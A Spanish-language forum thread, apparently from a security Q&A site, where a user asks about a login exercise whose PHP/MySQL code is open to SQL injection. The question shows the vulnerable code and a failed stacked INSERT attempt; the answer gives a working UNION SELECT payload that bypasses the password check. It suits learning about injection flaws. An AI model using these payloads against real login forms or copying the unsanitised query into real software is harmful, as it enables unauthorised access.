Inyección de SQL en la consulta (MySQL / PHP) [cerrado]

0

Primero, perdón si mi problema es un duplicado! Este es un ejercicio que no puedo resolver.

Es una autentificación, simplemente. Pero el problema es que la aplicación no comprueba tanto la contraseña como el apodo. Un código vale más que mil palabras:

if ( isset($_POST) && (!empty($_POST['login'])) && (!empty($_POST['password'])) ) {
  $sql = "SELECT password FROM auth WHERE login = '". $_POST["login"] ."'";
  $req = mysql_query($sql) or die(mysql_error());

  if (mysql_num_rows($req) > 0) {
     $data = mysql_fetch_assoc($req);
     if ($_POST["password"] == $data['password']) {
        $_SESSION['logged'] = 1;
    header("location:panel.php");
    die();
   }
  }
}

Con respecto al esquema de la base de datos, todo lo que sé es que tiene el campo de INICIAR SESIÓN y CONTRASEÑA y la contraseña no está oculta.

Mi idea inicial es cortar el SELECCIONAR e INSERTAR para agregarlo justo después de mi propio administrador, porque no veo cómo sobrepasar la consulta como de costumbre, podría ser admin'; #

Tengo el intento: admin'; INSERT INTO auth (login, password) VALUES ('admin2', 'test');# Pero ... ¡no funciona! Me puedes ayudar ?

Gracias.

    
pregunta socket 11.01.2015 - 12:13
fuente

1 respuesta

2

Puede usar UNION SELECT para proporcionar cualquier valor como contraseña:

noone' UNION SELECT 'pwd

La consulta se convertirá

SELECT password FROM auth WHERE login = 'noone' UNION SELECT 'pwd'

Asegúrese de enviar la misma contraseña a través de POST

    
respondido por el tokarev 11.01.2015 - 14:22
fuente

Lea otras preguntas en las etiquetas